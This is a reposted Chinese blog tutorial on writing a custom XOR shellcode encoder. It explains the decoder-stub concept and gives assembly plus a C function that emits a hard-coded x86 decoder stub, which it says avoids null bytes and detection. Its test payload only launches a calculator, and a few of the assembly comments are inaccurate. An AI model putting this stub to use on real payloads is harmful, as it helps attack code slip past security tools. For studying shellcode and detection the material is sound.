ShellCode异或编码器实现
前言
在使用 shellcode 时,通常会遇到 0x00 字符截断的问题。一般情况下,可以利用 msfvenom 中的编码器功能对 shellcode 进行编码。然而,有时我们希望生成自定义的编码,此时 msfvenom 就无法满足需求了。于是,为了满足需求,我去实现了一个简单异或编码器。
编码器原理
编码器是将原始的 shellcode 转换为一种在目标环境中可以安全传输或存储的格式。通过将原始 shellcode 的每个字节进行某种操作(如 XOR、加法、字节替换等),以避免生成无效字符或被检测的字符。
编码后的 shellcode包含两部分:
- 解码器(decoder stub):这是一段小的代码,它会首先被执行,用于将编码后的 shellcode 还原为原始的 shellcode。
- 编码后的 shellcode:这是经过编码的原始 shellcode,需要在目标环境中通过解码器解码后才能运行。
简单来说,解码器是一段shellcode形式的loader,用于编码后的shellcode解码并执行。
实现一个异或编码器
要想实现一个异或编码器,我们分析一下都需要什么,最后要得到什么样的shellcode?
从结果来入手,我们想要的是我们的shellcode是被异或编码之后的,而且将这段新shellcode直接加载还得正常执行。根据原理可以知道,生成的新shellcode是由2部分组成,后一部分就是被异或的shellcode,前一部分是用于对后半部分解码的stub shellcode。
要将shellcode解码并执行,需要定位到编码shellcode的起始地址,然后对每个字节循环异或解码,解码完成后在跳转到解码后shellcode的起始地址去执行。
定位编码shellcode起始地址
解决第一个问题,如何定位到编码shellcode的起始地址。
在汇编中,call指令可以将下条指令的地址压入栈中,再跳转到指定地址。等同于push + jmp,因此,我们的stub最后一条语句可以使用call指令获取下条指令的地址,也就是我们编码shellcode的起始地址到栈中。
在起始地址,可以直接跳转到最后一条指令call的地址中,再通过call调用到第二条指令,通过寄存器获取压入栈中的地址,如下图所示。
循环解码
假设原始shellcode的长度是100,异或解码的密钥是0x17,可以通过以下指令循环解码
pop esi //利用esi获取shellcode起始地址
xor ecx,ecx //将ecx清0
mov cl, 64h //将shellcode长度赋值给cl
mov dl, 17h //将异或编码赋值给cl
mov bl, [esi] //获取shellcode起始地址字符
xor bl, dl //异或解码
inc esi //将esi指针指向下一个字符
loop //循环插入代码片
代码构建
将上述的指令组合,可以构成一个decoder stub,在C代码中使用硬编码构建
// 动态生成decoder sutb
void generate_decryption_shellcode(uint8_t* decryption_shellcode, size_t shellcode_len, uint8_t xor_key) {
// 汇编形式的解密器 shellcode 模板
uint8_t decryption_template[] = {
0xeb, 0x15, // jmp short 跳过23字节
0x5e, // pop esi (存储 shellcode 地址)
0x56, // push esi (保存 shellcode 地址用于后续恢复)
0x31, 0xc9, // xor ecx, ecx
0xb1, 0x00, // mov cl, shellcode_len (将 shellcode 长度加载到 cl 寄存器)
0xb2, 0x00, // mov dl, xor_key (将 XOR 密钥加载到 dl 寄存器)
0x8a, 0x1e, // mov bl, [esi] (从 esi 指向的地址读取一个字节)
0x30, 0xd3, // xor bl, dl (异或 bl 和 dl)
0x88, 0x1e, // mov [esi], bl (将解密后的字节存回 rsi 指向的地址)
0xff, 0xc6, // inc esi (递增 esi 指针,指向下一个字节)
0xe2, 0xf6, // loop (继续循环,直到所有字节解密完毕)
0x5e, // pop esi (恢复原始 shellcode 地址)
0xff, 0xe6, // jmp esi (跳到 esi 执行解密后的 shellcode)
0xe8, 0xe6, 0xff, 0xff, 0xff // call -25 (跳回到 pop esi)
};
// 修改 shellcode 长度和 XOR 密钥
decryption_template[7] = (uint8_t)shellcode_len; // 将 shellcode 长度写入模板
decryption_template[9] = xor_key; // 将 XOR 密钥写入模板
// 复制解密器 shellcode 到目标 buffer
memcpy(decryption_shellcode, decryption_template, sizeof(decryption_template));
}
原始和编码后的shellcode
使用ida查看shellcode的反汇编,0x1c前为decoder stub,后面为异或编码后的数据
测试运行
运行编码后的shellcode,可以正常弹出计算器
获取完整代码
原文地址:https://blog.csdn.net/weixin_44001905/article/details/142458744
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!